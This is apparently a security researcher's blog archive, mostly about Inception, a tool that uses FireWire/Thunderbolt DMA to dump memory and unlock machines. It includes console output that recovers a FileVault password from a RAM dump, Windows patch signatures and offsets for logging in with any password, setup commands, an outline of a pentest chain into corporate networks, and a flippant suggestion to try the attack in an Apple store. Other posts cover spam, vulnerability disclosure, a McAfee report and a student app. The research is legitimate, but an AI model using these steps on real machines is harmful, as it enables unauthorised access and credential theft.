Posted by & filed under Hacking & Pentesting, Hacks, Tools & Methodology.

I’ve created a short video showing how to attack OS X Lion with FileVault2 enabled using my tool, Inception.

In the video, I attack a fully patched Mac OS X Lion machine with full-disk encryption enabled (FileVault2), while the machine is powered on and a user is logged in. Using Inception, I am able to dump the memory of the target, and use strings and grep to find the FileVault2 password.

If you are curious to understand ho this works, see my post from a couple a weeks ago, or download the tool and try for yourself.

I’m sorry about the low quality, my media codec-fu is apparently weak today… I’ll post more videos showcasing other features of Inception soon. Stay tuned!

Posted by & filed under Hacking & Pentesting, Hacks, Security News, Tools & Methodology.

ThunderboltWe security folks often feel like we are regurgitating the same type of security issues over and over again, just in new contexts. So depending on how you look at it, this is “old new” or “new old” news. Nevertheless, I thought it would be a good idea to take it down from speculation to hard facts:

Yes, it is possible to hack a Mac through the new DisplayPort/Thunderbolt interface, exactly the same way it is possible to hack Macs and PCs through FireWire interfaces.

How? Well, as Thunderbolt expands the PCIe bus,  buying a Firewire to Thunderbolt adapter will suffice. This is the same approach as many pentesters, myself included, have used when encountering laptops without a FireWire port on pentests. Simply using PCMCIA or ExpressCards to expand the bus and add a FireWire port will do the trick. I finally got the hardware to test this out last week, and it works like a charm. Plug n’ Play FTW.

So how did I exploit my Macbook Pro? Using Inception, a tool I’m developing to exploit FireWire DMA vulnerabilities.

Inception can unlock Windows 7, Windows Vista and Windows XP as well as certain Mac OS X and Ubuntu versions using Direct Memory Access (DMA) properties of the FireWire Serial Bus Protocol-2 (SBP-2) over Thunderbolt. It can also dump physical memory contents of the victim machine over the FireWire interface, enabling reliable extraction of Mac OS X FileVault passwords and BitLocker, FileVault and Truecrypt encryption keysYou can read more about it and download it here.

By the way: This post could easily be renamed to “Hacking Macs (and soon PCs) through the Thunderbolt interface”. This is not an operating system issue, but rather an issue with the underlying hardware.


For quite a few years now, attacks via Firewire / i.LINK / IEEE 1394 have been a known security issue. If you can get physical access to a machine with a FireWire port (or PCMCIA/Cardbus/ExpressCard expansion ports) you can (quote):

  • Read arbitrary RAM contents from the victim’s system.
  • Overwrite arbitrary RAM contents with whatever you want.
  • Perform many, many severe attacks based on the two issues above. Examples include grabbing a full RAM dump via Firewire (takes only a few minutes), grabbing ssh-agent keys, grabbing screen contents, modifying screen contents, bypassing login/password screens, and many, many more.
All of this is done by exploiting a “feature” of the Firewire spec (OHCI-1394) (PDF), namely that it allows read/write access to physical memory (via DMA) for external Firewire devices. Worse, as this is DMA, the CPU/OS will not even know what’s going on. Even worse, this works regardless of whether you have locked your screen with a password-protected screensaver, or xlock, or vlock, or whatever. As long as the system is running, you’re vulnerable.
As it turns out, these attacks may also be executed over Thunderbolt.

Set-up and execution

The Thunderbolt specs are not publicly available yet, but marketing material that has been released leads us to understand a few core aspects of Thunderbolt that has some interesting security implications:

  • Thunderbolt expands the PCIe bus – this is bad from a security perspective as any device that connects to the bus may use FireWire DMA on the bus to gain read/write direct access to the lower 4 GiB of host RAM, bypassing the victim processor and OS completely. In fact, Inception was designed to exploit this flaw in the IEEE 1394 FireWire standard.

Thunderbolt expands the PCIe bus

  • Thunderbolt supports daisy chaining of up to 6 devices – while this is good from a usability perspective, it means that an attacker can connect to an available port on a two-interface Thunderbolt device, and, through daisy chaining, gain the same DMA access as mentioned above to any other PC/Mac connected through the daisy chain to the same Thunderbolt device(s).

An example of Thunderbolt daisy chaining – now replace that monitor on the left with a rogue device

Let’s think about those implications for a moment. This means that using Inception, one could connect an attacking PC to a two-interface Thunderbolt device, hide the attacking PC away and stealthily steal RAM content from any PC or Mac that connects to the same Tunderbolt device. Except for possibility that the victim notices the extra Thunderbolt cable, this attack will likely go unnoticed.

To perform this attack, a few hardware components are needed:

The hardware is set up as follows:

                     Visible | Hidden
     TB                   TB |                                       FW
Mac <==> Little Big Disk <==> Sonnet Echo Adapter w/ FW ExpressCard <==> Attack PC
<==> = Connection            |
TB   = Thunderbolt           |
FW   = FireWire              |

Hotplugging a FireWire device into the Sonnet Echo device will multiplex/encapsulate the FireWire protocol within Tunderbolt signals. Ergo, all attacks that work over FireWire also works over Thunderbolt.

System information on the victim machine when connected with FireWire over Thunderbolt

As an example I’ve included sample output of the Inception tool below, where I’m using Inception’s pickpocket mode to let the tool wait until a device connects to the Thunderbolt daisy chain before dumping 4 GiB of RAM data to a local file on the attack PC. As a demonstration of what can be done with the RAM content, I’ve performed a simple strings search after my FileVault password (found and marked in red):

[email protected]:~# incept --pickpocket

Inception v.0.0.6
by Carsten Maartmann-Moe <[email protected]> aka ntropy <[email protected]> 2012
Twitter: @breaknenter Web:

For updates, visit/clone or visit the
Inception homepage at

[*] Lurking in the shrubbery waiting for a device to connect....
[*] FireWire devices on the bus (names may appear blank):
[1] Vendor (ID): Apple Computer, Inc. (0xa27) | Product (ID): Macintosh (0xa)
[*] Only one device present, device auto-selected as target
[*] The target seems to be a Mac, forcing override (not dumping 0x0-0xff000)
[*] Selected device: Apple Computer, Inc.
[*] Initializing bus and enabling SBP-2, please wait  1 seconds or press Ctrl+C
[*] Dumping from 0x0 to 0x100000000, a total of 4096.0 MiB
[*] Dumping memory, 4095 MiB so far
[*] Dumped memory to file memdump_0x0-0x100000000.bin
[email protected]:~# strings memdump_0x0-0x100000000.bin | grep --after-context=3 managedUser | grep --after-context=1 password
 |grep --after-context=1 password</strong>
[email protected]:~#

I have posted a video of the attack here.

Why Apple thinks that the password should be loaded in memory in plaintext is beyond me. Remember, we also have write access to the lower 4 GiB of RAM on the victim machine, so I could also use Inception’s main mode to unlock the victim machine.

FUD disclaimer

Previous speculations to whether Thunderbolt is vulnerable to these types of attacks has been brushed aside as an attempt to spread FUD. To some extent I agree – this is not a remote attack, and it should probably not be on the top spot on most security analysts’ threat scenarios lists.

However, I strongly disagree with labeling this vulnerability as pure FUD for a number of reasons:

  1. People trust their hardware. Few expects that a seemingly benign device can behave badly. Imagine being hacked by a Thunderbolt display, a video projector or a hard drive. This is not something that an average user would suspect, and the fact that the attack is completely stealthy adds to the threat level. Physical access is an oft overlooked attack vector.
  2. Some people seem to think that physical access to a device means “game over” for security, and that one should treat a lost/misplaced device as compromised. While it is prudent to treat lost devices as compromised, I disagree about the notion that physical access equals a breach. In fact, most full-disk encryption systems are designed to protect your data in the event of a physical loss of a device. This tool is able to defeat full-disk encryption in many cases. Also, I still encounter people who is baffled over the fact that password-protecting your PC is a moot point if you’re not using full-disk encryption. Most end users (and many security experts) are not aware of the physical access vector, and often fail to account for it when planning their security approach.
  3. Lastly, some “threat actors”, such as the intelligence community, have actively planned creating devices that exploit FireWire DMA before. If you worry about foreign nations getting access to your system, this is a relevant risk for you to take into consideration.

This blog post is not intended to spread fear, but rather to educate users and enable them to make informed security decisions based on facts.


There are some relevant caveats that you should be aware of:

  • We can only access the lower 4 GiB of RAM (due to the FireWire specs using 32 bits for addressing). Physical memory layout on machines with more than 4 GiB of RAM may further lower this limit
  • OS X Lion with FileVault enabled disables DMA when the machine is locked, however, the daisy chaining properties of Thunderbolt enables stealth attacks while the machine is unlocked. There are also ways to re-enable DMA, using user switching. See this blog post for a good overview
  • Macs with firmware (OF/EFI) password set is not vulnerable to this attack, as FireWire DMA is disabled when a OF/EFI password is set

To be vulnerable, a few key contiditons must be met:

  • The attacker needs physical access to your machine.
  • Your machine must be powered on or in stand-by mode (suspended). If you are not using full-disk encryption with a pre-boot authentication screen, you are of course vulnerable since an attacker can simply power on your machine and extract memory as soon as the OS is loaded. This also applies to BitLocker Transparent operation mode where the machine TPM chip is used to transparently load encryption keys without any pre-boot authentication.
  • FireWire SBP-2 drivers must be present and loadable.

Threat scenarios

After reading this, if you still think: ‘So what?’, here are a couple of relevant threat scenarios:

Covert operations / exploiting the daisy chain

Like discussed above, an attacker may hide the attacking device out of sight, while automatically attacking all devices that connects to the same Thunderbolt device as the attacker is connected to. This opens possibility of getting hacked by a wide range of devices. Fun weekend project: Try this at an Apple store.

Border control

Left your PC in standby mode on your business flight and had to hand it over to Chinese customs / border control? Say bye-bye to your passwords, encryption keys and any corporate secrets that you had on your software-encrypted laptop. If the government in democratic, European nations can use trojans to monitor criminal suspects, who knows what states that don’t hold privacy in high regards can do.

Targeted hacks against corporations

I’ve personally and successfully used the predecessor to Inception, FTWAutopwn, on several pentests to gain access to corporate networks. The methodology is simple:

  • Hack laptop over FireWire and dump memory, gain Local Administrator access
  • Dump cached credentials
  • Crack cached credentials, or if already on the corporate network, pass the hash
  • Use credentials to log into corporate network over VPN
  • Use normal Windows pentest methodology (user enumeration, enterprise-wide brute-force, cached credentials / cracking, etc.) to attempt to get Domain Administrator credentials

Further reading/mitigation

While there are few options for mitigation without loss of functionality (e.g., loss of FireWire transfer speed), a good overview of DMA-attacks and mitigation options can be found here. Also, someone raised this concern as related to Thunderbolt a year ago – only to be labeled as FUD.

A good overview of the Mac OS X FireWire DMA defenses and weaknesses can be found here.

Now, if someone please could point me in the direction of a battery-powered Single Board Computer with an ExpressCard or FireWire interface…

Posted by & filed under /dev/random.

Now, I’m used being touted Viagra in emails, but Forklifts are new to me. This morning my email inbox filled up with these:

Someone seems to be able to bypass GMail’s SPAM filters quite effectively (for now)… Too bad I can’t fit a local solar installation into my shoebox-sized NYC flat.

Posted by & filed under /dev/random, Hacking & Pentesting, Secure Development.

Lately I’ve seen several cases where people openly discuss discovered web vulnerabilities in big corporations’ web sites, and often disclosing technical details because the person that discovered didn’t find or didn’t bother looking hard enough for a phone number or email address to the relevant security response team.

Even though some of the cases above are due to lack of google-fu and perhaps “foul” play, it does prove a good point: Corporations can easily dodge a lot of bad press and hacking attacks if they provide a easy way to disclose vulnerabilities in a secure manner. An email address or phone number will often suffice, or even better, a SSL-protected response form. Don’t make white hat hackers go through your 3 lines of tech support defense (and don’t brush them off if they’re not a customer!), chances are that they won’t bother and rather disclose everything on their blog. In all fairness, they are trying to do you a favor, and you force them through countless mind-numbing, nausea-inducing, muzak-filled phone calls with support personnel that wouldn’t know whether to escalate a case unless its a bomb threat against corporate headquarters.

Think about it, allowing people to easily and securely essentially gives you a free (partial) pentest, which sure as hell beats having to pay guys like me to perform the same services. You should embrace it, not freak out (or freeze). OK, so some hackers will disclose publicly anyways, but I’m willing to guess that 99 % of the people out there would prefer to be honest.

So corporations: This is a win-win situation, vulnerabilities are fixed responsibly, and you avoid bad press. Lets face it, you’ll always have vulnerabilities, and I know you prefer to fix them before they’re on the front page of NY Times or trending at Twitter.

Facebook have got it right, so why don’t your corporation do the same? By embracing the white hats, they get their 15 minutes of web fame, and you get your holes plugged (and I mean that in the nicest possible way).  Put a link in the footer of your front page, and acknowledge people that help you out for free. It is basic courtesy, right?

Lastly, a free protip: Make sure that the address pops up when googling for “Company X security response”.

Posted by & filed under Hacking & Pentesting, Tools & Methodology.

Update: FTWAutopwn is now named Inception: I’ve created a standalone page for the tool here, please be referred to that page for updates on the tool.

The last days I’ve been working on an alternative to winlockpwn (unlocking locked Windows boxes through FireWire SBP2 DMA) using libforensic1394. Now I’ve released an alpha version of the tool, Fire Through the Wire Autopwn (FTWAutopwn) at github. So here’s how to use it:

Check that your distro uses the new IEEE1394 stack

$ ls /dev | grep fw

If the new stack is loaded and the system has at least one FireWire port then `fw0` should be printed. Additional ports/devices will take the form fw<n>. If no devices are listed then it is likely that the new stack is not loaded. That sucks, try this command if you’re running Debian/Ubuntu:

sudo modprobe -r ohci1394 sbp2 eth1394 dv1394 raw1394 video1394
sudo modprobe firewire-ohci

Download and install libforensic1394

sudo apt-get install git cmake python3
tar xvf libforensic1394-0.2.tar.gz
cd libforensic1394-0.2
mkdir build
cd build
cmake -G"Unix Makefiles" ../
sudo make install
cd ../python
sudo python3 install

Download and use FTWAutopwn

git clone
cd FTWAutopwn

The last command should now work. Hook up your attacking machine to a locked Windows 7 or XP machine using IEEE1394 FireWire cable, and run the above command. Select the correct target, and you’re off!

$ python3
Fire Through the Wire Autopwn v.0.0.1
by Carsten Maartmann-Moe <[email protected]> 2011

For updates, check out
[+] Available targets:
[1] Win7 32-bit msv1_0.dll technique
[2] Win7 64-bit msv1_0.dll technique
[3] WinXP SP2 msv1_0.dll technique
[4] WinXP SP3 msv1_0.dll technique
Please select target: 4
[+] You have selected: WinXP SP3 msv1_0.dll technique
    Using signature: 83f8107511b0018b
    Using patch: 83f8109090b0018b
    Using offset: 2146
[+] Searching for signature,   12 MiB so far.
[+] Signature found at 0xd7d862.
[+] Write-back verified; patching successful. Bon voyage!

You should now be able to log onto your target machine with any password.

Full syntax is provided by using the -h/–help switch:

$ python3 -h
Fire Through the Wire Autopwn v.0.0.1
by Carsten Maartmann-Moe <[email protected]> 2011

For updates, check out
Usage: ftwautopwn [OPTIONS]

    -d --delay=TIME:      Delay attack by TIME seconds. This is useful in order
                          to guarantee that the target machine has successfully
                          installed the SBP2 device before attacking. If the
                          attack fails, try to increase this value.
    -f --file=FILE:       Use a file instead of FireWire bus data as input; for
                          example to facilitate attacks on VMware machines or
                          to ease testing and signature generation efforts
    -h, --help:           Displays this message
    -l, --list:           Lists available target operating systems
    -n, --no-write:       Dry run, do not write back to memory
    -t TARGET, --target=TARGET:
                          Specify target operating system (use --list to list
                          available targets)
    -v/--verbose:         Verbose mode

Posted by & filed under Hacks, Security News.

McAfee recently disclosed the result of five years of investigation of a threat actor that have compromised 72 targeted organizations. While the sheer number and time span of the attacks, not to mention the compromised parties’ identities (for instance, the United Nations was hacked) are enough to raise an eyebrow or two, two paragraphs in the article particularly caught my eye:

What is happening to all this data—by now reaching petabytes as a whole—is still largely an open question. However, if even a fraction of it is used to build better competing products or beat a competitor at a key negotiation (due to having stolen the other team’s playbook), the loss represents a massive economic threat not just to individual companies and industries but to entire countries that face the prospect of decreased economic growth in a suddenly more competitive landscape and the loss of jobs in industries that lose out to unscrupulous competitors in another part of the world, not to mention the national security impact of the loss of sensitive intelligence or defense information.

Yet, the public (and often the industry) understanding of this significant national security threat is largely minimal due to the very limited number of voluntary disclosures by victims of intrusion activity compared to the actual number of compromises that take place. With the goal of raising the level of public awareness today we are publishing the most comprehensive analysis ever revealed of victim profiles from a five year targeted operation by one specific actor—Operation Shady RAT, as I have named it at McAfee (RAT is a common acronym in the industry which stands for Remote Access Tool).

So not only are the attacks happening, but thanks to corporate policy and fear of embarrassment we don’t have enough data and knowledge to effectively combat the threat. This is a dangerous thing. I’ve written about my passion for openness as a part of security before, and I still mean that the only way to combat APTs effectively is to share breach information transparently between organizations.

Dmitri Alperovitch also finishes of with a chilling remark (emphasized by me below) that all the world’s CEOs should read (and preferably think about as well):

Although Shady RAT’s scope and duration may shock those who have not been as intimately involved in the investigations into these targeted espionage operations as we have been, I would like to caution you that what I have described here has been one specific operation conducted by a single actor/group. We know of many other successful targeted intrusions (not counting cybercrime-related ones) that we are called in to investigate almost weekly, which impact other companies and industries. This is a problem of massive scale that affects nearly every industry and sector of the economies of numerous countries, and the only organizations that are exempt from this threat are those that don’t have anything valuable or interesting worth stealing.

Posted by & filed under Hacking & Pentesting, Hacks, Tools & Methodology.

A couple of days after demonstrating winlockpwn I came over libforensic1394, a full C library with full Python bindings for leveraging the SBP2 FireWire (IEE1394) DMA feature to perform memory dumps and live patching of physical memory.

It works like a charm, and it is much more stable than the old winlockpwn hack. This is due to the fact that instead of posing as an iPod (or any other SBP2 device for that matter), it presents the SBP2 stack with the original FireWire bus info from the attacker machine. Targets that use Windows 7 and other operating systems seem to be more happy with this, and the results is fewer BSODs and much more consistency and stability.

The library was coded and made available by Freddie Witherden, and there is also a paper available describing the library. The paper even includes signatures for Windows 7 and OS X Snow Leopard, and code samples for performing live patching of RAM. This is great stuff, stand by for a code sample by yours truly in a couple of days.

Update: I’ve released a tool at github called Inception, which uses libforensic1394 to unlock Windows 7 boxes. The tool is much more stable than winlockpwn. Drop me a line if you want to contribute.

Posted by & filed under Secure Development, Security News.

I’ve been mentoring a Master’s Thesis at NTNU this spring, and my students have developed an Android app for secure cloud storage and file sharing. Quite cool, this video explains how it works. Great work, guys!

The idea is to be able to share information that is encrypted with your own encryption key, as opposed to other similar services like DropBox (who famously encrypts each user’s content using a single key, and therefore in theory can access all user’s uploaded content).